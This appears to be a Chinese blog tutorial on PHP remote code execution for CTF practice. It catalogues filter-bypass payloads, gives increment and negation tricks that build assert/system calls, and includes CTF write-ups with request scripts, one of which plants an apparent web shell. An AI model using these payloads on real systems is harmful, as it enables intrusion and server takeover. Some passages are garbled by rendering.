RCE常见姿势

文章目录

常见漏洞执行函数:

1.系统命令执行函数

php 复制代码
system():将字符串作为OS命令执行,返回执行结果
exec():将字符串作为OS命令执行,只返回执行结果的最后一行
shell_exec():通过shell环境执行命令,将完整的输出以字符串返回
passthru():将字符串作为OS命令执行,只调用命令不返回结果,但把命令的运行结果原样输出到标准输出设备上
popen():打开进程文件指针
proc_open():与popen类似
pcntl_exec():在当前进程空间执行指定程序
反引号``:反引号内的字符会被解析成OS命令

2.代码执行函数

php 复制代码
eval():将字符串作为PHP代码执行
assert():将字符串作为php代码执行
preg_replace():正则匹配替换字符串
create_function():创建匿名函数
file_put_contents():将数据写入文件  ,语法:file_put_contents(filename, data, mode, context)

命令拼接符

复制代码
command1 ; command2 : 先执行command1后执行comnand2
command1 & command2 : 先执行comnand2后执行command1
command1 && command2 : 先执行command1后执行comnand2
command1 | command2 : 只执行command2
command1 || command2 : command1执行失败, 再执行command2(若command1执行成功,就不再执行command2)

读取文件命令

shell 复制代码
cat:连接文件并输出内容到标准输出
tac:从最后一行开始往前显示
more: 与cat类似,但是会一页一页显示(只能向后翻页)
less:与more类似,只能向前翻页
nl:显示内容的同时,显示行号
head:查看文件开头几行内容,默认为10行
tail:查看文件尾几行
od:以为指定进制的方式读取文件   例如: od -x ???  以十六进制的方式查看文件
vi:文本编辑器
vim:文本编辑器
dd:dd if=输入文件 of=输出文件   或直接读取文件dd=1.txt
sort:对文件排序,输出排序内容
uniq:去除重复行,输出去重内容
rev:独立反转每一行内容,输出反转后内容
cut:输出剪切内容
sed:流编辑器,可以对文本内容进行搜索、替换、删除等操作
paste:把每个文件以列对列的方式合并(一个文件就相当于原来的)
grep:查找文件里符合条件的字符串

绕过:

空格过滤绕过

复制代码
重定向字符<   <>   %20(即spcae)  %09(即tab)   $IFS$9   ${IFS}   $IFS   {}比如:{cat,/f*}

关键字绕过

1.利用反斜杠\绕过

php 复制代码
cat /flag  ->   ca\t /fl\ag

2.利用变量拼接绕过

php 复制代码
cat /flag  ->   $b=ag;cat /fl$b

3.利用函数绕过

php 复制代码
eval(var_dump(scandir('/');); #读取根目录
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag

4.利用单双反引号绕过

shell 复制代码
cat""t /flag
l's /
cat /e't'c/pas``s``wd

5.cat替换

shell 复制代码
tac	与cat相反,按行反向输出
more	按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less	与more类似
tail	查看文件末几行
head	查看文件首几行
nl	在cat查看文件的基础上显示行号
od	以二进制方式读文件,od -A d -c /flag转人可读字符
xxd	以二进制方式读文件,同时有可读字符显示
sort	排序文件
uniq	报告或删除文件的重复行
file -f	报错文件内容
grep	过滤查找字符串,grep flag /flag

6.利用正则匹配(通配符)绕过

shell 复制代码
cat /f???
cat /f*

7.利用[]绕过

shell 复制代码
c[a]t=>cat
p[h]p=>php

8.利用linux中的环境变量绕过

php 复制代码
echo $PATH     
若有/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
即可表示:flag.php
# ${PATH:5:1}表示取路径第五位(从0开始数,第0位是/),取一个字母。以此类推拼接成flag.php

9.编码绕过
10.利用内联执行绕过

php 复制代码
echo "a`pwd`"          #输出a/root
?ip=127.0.0.1;cat$IFS$9`ls`

11.双写绕过

8.利用取反~绕过

php 复制代码
<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>
输出结果:?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

9.利用异或^绕过

python 复制代码
# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = input('输入异或构造的字符串:')
tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if ord(i) ^ ord(j) == ord(c):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
 
print(f'"{tmp1}"^"{tmp2}"')

10.利用自增绕过

原理:

"A"++ ==> "B"

"B"++ ==> "C"

php 复制代码
<?php
$_++;
echo($_++);   //输出结果1
$a=''.[];
var_dump($a); //输出结果array
php 复制代码
<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])
php 复制代码
//自增payload,assert($_POST[_]),命令传入_
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

长度过滤绕过

>b类似于touch b ,即直接创建文件b,通过>将命令执行结果写入文件(覆盖文件原本内容)

php 复制代码
echo 666 >a #创建文件a,将字符串666写入文件a中 

>>用来追加内容

php 复制代码
777 >>a  #在文件a的末尾追加字符串777

ls -t:按时间顺序,由近及远排序(后创建的排在前面)

复制代码
#>ag
#>fl\\
#>"t\\"
#>ca\\
#ls -t >x
创建文件x,将"ca"""t"""fl""ag"连接起来 前面的\把后面的\实体化成字符,用来拼接文件名输出到文件x中,然后把文件x当成脚本执行
python 复制代码
import time
import requests
baseurl="url"
s = requests.session()
list=[
        '>7777',
        '>ca',    #中间的内容自己补充
        'ls -t>a'
]
for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)
s.get(baseurl+"sh a")

以这题为例,可以利用自增,但限制长度,

php 复制代码
payload:$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
即表示$_GET[1]($_GET[2])
记得url编码,然后get传参?hint=1&1=system&&2=cat /f*

无参数命令执行绕过

在无法传参的情况下,仅依靠传入没有参数的函数套娃以达到命令执行的效果

php 复制代码
特征:
if(';'===preg_replace('/[^\W]+\((?R)?\)/','',$_GET['star']))
{
    eval($_GET['star']);
}
\W表示匹配非字符
[^\abc]表示非abc
R代表当前正则匹配后的结果
?惰性匹配,匹配0或1次
php 复制代码
相关函数
scandir():返回当前目录的所有文件和目录的列表。结果是一个数组
localeconv():返回一包含本地数字及货币格式信息的数组(这里数组的第一项是. 这个点很有用)
current():返回数组中的单元,默认取第一个值。pos()和它一样
getcwd():获取当前工作目录
dirname():返回路径中的目录部分
chdir():改变当前目录
array_flip():交换数组中的键和值,成功时返回交换后的数组
array_rand():从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():反转给定字符串
eval()、assert():命令执行
highlight_file()、show_source()、readfile()、file_get_content():读取文件内容
getallheaders():返回当前请求的所有请求头消息,但局限于Apache
数组移动操作:
reset():指向第一个元素并输出
end():将内部指针指向数组中最后一个元素并输出
next():指向下一个元素并输出
prev():指向上一个元素并输出
each():返回当前元素的键名和键值,并将指针向前移动

例:scandir('.')能返回当前目录,虽然无法传参,但可以利用localeconv()返回. 并且用current()取第一个值实现,即用current(localeconv())构造一个点.

php 复制代码
?参数=var_dump(scandir(current(localeconv())));

1.利用scanidr()函数

例题:[GXYCTF2019]禁止套娃

php 复制代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

第二个if语句,典型的无参RCE,第三个又限制了一些函数

payload:

php 复制代码
?exp=highligth_file(next(array_reverse(scandir(current(localeconv())))));

先利用current将localeconv中的.取出来,然后用scandir返回当前目录中的文件和子目录,得到当前flag在flag.php
此时flag.php位置较靠后,用array_reverse将数组反转,然后用next选择第二个即flag.php,然后读

取flag.php文件

2.利用session_id()函数

当请求头中有cookie时,或者有时没有cookie手动添加cookie也行。但要session_start开启

·可以对命令进行十六进制编码,然后用hex2bin()解码

payload:

复制代码
?参数=eval(hex2bin(session_id(session_start())));
同时更改cookie后面的值为对应命令的十六进制编码

·指定文件名为flag.php的情况下直接读取文件(Cookie是手动添加的)

3.利用getallheaders()函数

getallheaders()返回当前请求的所有请求头消息,但局限于Apache(apache_request_headers与getallheaders()功能和限制一样)

当能够确定返回时,在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头使其执行。
其中sky是自己添加的请求头,end()指向最后一行的sky代码

4.利用get_defined_vars()函数

get_defined_vars()可以回显全局变量且更有普遍性,返回数组顺序为 G E T − − > _GET--> GET−−>_POST--> C O O K I E − − > _COOKIE--> COOKIE−−>_FILES

首先确认是否有回显

php 复制代码
print_r(get_defined_vars());

如果原本只有一个参数a,可以多加一个参数b,后面写入恶意语句

复制代码
a=eval(end(current(get_defined_vars())));&b=system('ls /');

无字母数字绕过

php 复制代码
标志
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

1.异或绕过
2.取反绕过
3.自增绕过
4.临时文件上传

Linux临时文件主要存储在/tmp/目录下,格式: /tmp/php[6个随机字符]

Windows临时文件主要存储在C://Windows/目录下,格式:C://Windows/php[4个随机字符].tmp

5. G E T / GET/ GET/POST参数绕过

PHP需将所有参数转换成有效的变量名,因此在解析查询字符串时,会首先删除空白符,然后将某些字符转换成下划线

php 复制代码
pyload1:?c=include%0a$_POST[a]?>

post:a=data://text/plain,<?php eval(system("tac flag.php"))?>

pyload2:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
pyload3: c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
pyload4:c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 

6.LD_PRELOAD绕过
7.短标签绕过

PHP中有两种短标签 <??> 和 <?=?> 。其中<??>相当于<?php> <?=?>相当于<? echo>

复制代码
例如: <?= '11'?> 输出

8.反引号``绕过

PHP中 反引号``可以起到命令执行的效果

php 复制代码
<?php
$_=`whoami`;
echo $_;  能够将对应的结果输出
利用段标签可以写为:<?= `whoami` ?>

利用%0A截断

由于preg_match只能匹配第一行,可以使用%0A进行截断

利用回溯绕过

php正则匹配的回溯次数大于1000000次时会返回False

preg_match的匹配存在回溯,次数上限是1000000,超过上限后函数返回False

php 复制代码
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False

利用create_function()代码注入

create_function函数会在内部执行eval()

复制代码
create_function($函数变量声明,$执行的方法代码)

看到 a ( a( a(b)想到create_fuction()代码注入。这里\为了绕过正则,}为了闭合前面 , // 为了注释后面

php 复制代码
payload:?a=\create_function&b=}system('tac /flag');//

无回显RCE

可以先利用sleep函数判断是否能执行

php 复制代码
?参数=1;sleep(3)
1.反弹shell
2.dnslog外带数据法
3.msf反向回连
4.利用tee命令将执行结果输出到文件,再访问文件
php 复制代码
//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt

使用重定向也可以

复制代码
ls / > 1.txt
5.利用反引号和print
php 复制代码
//eval()无输出
eval(print`c\at /flag`;)

题目练习

[CISCN 2019初赛]Love Math

php 复制代码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

思路一: 拼凑出_GET利用其他参数RCE

知识点: php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数。例如:

php 复制代码
$a='system';
$a('cat /flag');  
//会执行system('cat /flag');

这里使用传参

php+HTML 复制代码
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

但是这里的_GET和a,b不在白名单里,需要替换

复制代码
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

这里的_GET无法直接替换,且[]被过滤

这里就考虑利用白名单中的函数了

base_convert(): 能够在任意进制之间转换数字

dechex():将十进制转换成16进制的数

hex2bin():把十六进制转换成ascii码

这里的_GET对应的ascii码是5f 47 45 54

但是hex2bin()也不是白名单中的函数,且这段ascii码也不能之间填入,会被检测。可以利用base_convert()函数来进行转换,这里的hex2bin可以看成36进制,用base_convert()将10进制数字转换成16进制数字

php 复制代码
hex2bin=base_convert(37907361743,10,36)
然后里面的5f 47 45 54需要利用dechex()将10进制转换成16进制数
5f47 45 54=dechex(1598506324)
php 复制代码
payload:
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
分析:
//base_convert(37907361743,10,36)==>"hex2bin"
//dechex(1598506324) => "5f474554"
//$pi=hex2bin("5f474554") => $pi="_GET" 
//($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} 
//{}可代替[]

[鹏城杯 2022]简单的php

考点是无参数RCE和无字母RCE

php 复制代码
<?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
    }
?> 

没有过滤~ ,尝试取反绕过,先试一下查看phpinfo() 必须要使用[!%FF]进行拼接

复制代码
/?code=[~%8f%97%8f%96%91%99%90][!%FF]();

这里使用[],是因为[]会进行执行,然后将执行结果返回内存存储为数组

这里使用请求头执行,

复制代码
system(current(getallheaders()));

[~%8C%86%8C%8B%9A%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
然后在头部进行命令执行
a:ls /

[SWPUCTF 2023 秋季新生赛]RCE-PLUS

考点:无回显RCE

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
复制代码
?cmd=ls /发现无回显
接着利用sleep函数判断,发现能够执行
?cmd=ls / | sleep 5
判断是无回显RCE

利用tee命令将输入写入到其他文件中

复制代码
ls / | tee 1.txt
flag被过滤,使用\
cat /fa\ag |tee 2.txt
访问2.txt获取flag

[广东强网杯 2021 团队组]love_Pokemon

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level = $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream = $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}
?>

前面就是传参规则,从switch语句开始看,要求以post方式传入myfavorite。

其中if语句中有hint.php,要进行if判断得先选择case 'bulbasaur!',接下来要满足if判断,传入levelup变量不能包含lv100,但是经过escapeshellarg()之后等于lv100。

**escapeshellarg()**的作用是把字符串转码,变成可以在shell命令中使用的参数。

复制代码
escapeshellarg()漏洞:该函数在处理超过ASCII码范围的字符的时候,会直接过滤该字符串。
那么可以使用%81绕过(该字符为不可见字符)

获得提示的payload:myfavorite=bulbasaur!&levelup=l%81v100

提示内容:
<?php $hint = 'flag is located in / , and NAME IS FLAG';
即路径是 /FLAG

接下来要输出/FLAG ,看到case 'mewtwo'中有shell_exec()函数可以利用。要求传入dream参数字符串长度小于20,且满足上面的传参规则

由于过滤单个字母和一些运算符号,不能用常规的绕过方法。

想办法cat /FLAG

1.空格可以使用<> $IFS等绕过

2.这里使用od命令读取(octal dump,八进制转储)

复制代码
od是一个linux和unix中的命令行工具。
用于以不同格式显示文件内容,最初是为了以八进制形式显示文件内容

3.绕过FLAG,由于过滤了flag和l和a。这里使用通配符[]绕过

a-z\]表示范围a-z 这里构造F\[B-Z\]\[@-Z\]G,这样就能匹配ascii表中@-Z之间的所有字符 最终payload: myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G 得到八进制内容: 0000000 051516 041523 043124 033573 030544 033065 033142 026466 0000020 034544 030144 032055 032145 026543 031071 063063 033055 0000040 061466 032061 033144 034063 062461 076545 000012 0000055 ```python #八进制转ascii码 dump = "0000000 051516 041523 043124 060573 030462 062464 032062 026471 0000020 031071 030067 032055 063065 026466 062070 030542 030455 0000040 030465 060545 062143 031064 032143 076541 000012 0000055 " octs = [("0o" + n) for n in dump.split(" ") if n] hexs = [int(n, 8) for n in octs] result = "" for n in hexs: if (len(hex(n)) > 4): swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF) result += swapped[2:].zfill(4) print(bytes.fromhex(result).decode()) ``` *** ** * ** *** #### \[FBCTF 2019\]rceservice ```PHP 附件内容:
'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected

'; } else { echo 'Attempting to run command:
'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '

'; } } ``` ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png) web页面要求输入json格式的字符串 putenv('PATH=/home/rceservice/jail'); 这个意思是将当前的环境变量PATH值设置为:/home/rceservice/jail 由于环境变量值被修改,无法直接调用cat等命令,因为这些命令存是放在特定的目录中封装好的程序,所以此处部分命令我们需要使用其存放的**绝对路径去调用** 在正则匹配中,使用\^ xxxxx $的格式,也采用了.*这样的与贪婪匹配。因此有两个方案绕过正则------**超过回溯次数**和利用*\*%0A截断\*\* **利用%0A截断** 由于表达式中存在\\x00-\\x1F ,这会多匹配一个%0a,只需要在payload前后加几个%0a即可 ?cmd=%0a%0a{"cmd":"ls /"}%0a%0a 发现没找到flag,接下来使用find命令查找 ?cmd=%0a%0a{"cmd":"/usr/bin/find / -name flag*"}%0a%0a 得到flag存放位置 /home/rceservice/flag 接下来cat即可 ?cmd=%0a%0a{"cmd":"/bin/cat /home/rceservice/flag"}%0a%0a **超过回溯次数上限** ```python import requests as res url="http://node4.anna.nssctf.cn:28817/" while(True): payload=input("resp:") resp=res.get(url,params={"cmd":'\x0a\x0a{"cmd":"%s"}\x0a\x0a'%(payload)}) print(resp.text) 然后在终端res处输入: /bin/cat /home/rceservice/flag ``` *** ** * ** *** #### \[UUCTF 2022 新生赛\]ezrce 进入后是一个命令执行接口,执行`ls /`会提示存储在/tmp/中,直接访问会显示被隐藏。 **法一** ```php >nl //创建一个名位nl的文件 * /*>d //即 nl /*>d 第一个*就是将ls列出文件名第一个当作命令 其他当作参数 ``` 法二 >a 在Linux会创建一个叫a的文件 *>v 会将ls列出的第一个文件名当作命令 其余当作参数执行 *v>0 等价于 rev v >0 反转 sh 0 将0文件的内容当作命令执行 ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列 linux下换行执行命令: ech\ o\ 111 ```python url="http://43.142.108.3:28933/post.php" print("[+]start attack!!!") with open("5字符RCE.txt", "r") as f: for i in f: data = {"cmd": f"{i.strip()}"} requests.post(url=url,data=data) resp = requests.get("http://43.142.108.3:28933/tmp/1.php") if resp.status_code == requests.codes.ok: print("[*]Attack success!!!") 5字符RCE.txt >dir >sl >ht- >f\> *>v >rev *v>0 >hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ sh 0 sh f ```

相关推荐
小韩博34 分钟前
metasploit 框架安装更新遇到无法下载问题如何解决
linux·网络安全·公钥·下载失败
wha the fuck4041 小时前
攻防世界—unseping(反序列化)
安全·序列化和反序列化
David WangYang5 小时前
基于 IOT 的安全系统,带有使用 ESP8266 的语音消息
物联网·安全·语音识别
合作小小程序员小小店6 小时前
SDN安全开发环境中常见的框架,工具,第三方库,mininet常见指令介绍
python·安全·生成对抗网络·网络安全·网络攻击模型
数据智能老司机6 小时前
实现逆向工程——汇编指令演练
安全·逆向·汇编语言
网络研究院9 小时前
新的“MadeYouReset”方法利用 HTTP/2 进行隐秘的 DoS 攻击
网络·网络协议·安全·http·攻击·漏洞
guts°9 小时前
6-服务安全检测和防御技术
安全
Whoami!13 小时前
2-3〔O҉S҉C҉P҉ ◈ 研记〕❘ 漏洞扫描▸AppScan(WEB扫描)
网络安全·信息安全·appscan·oscp
sinat_2869451918 小时前
AI应用安全 - Prompt注入攻击
人工智能·安全·prompt
数据智能老司机1 天前
实现逆向工程——理解 x86 机器架构
安全·逆向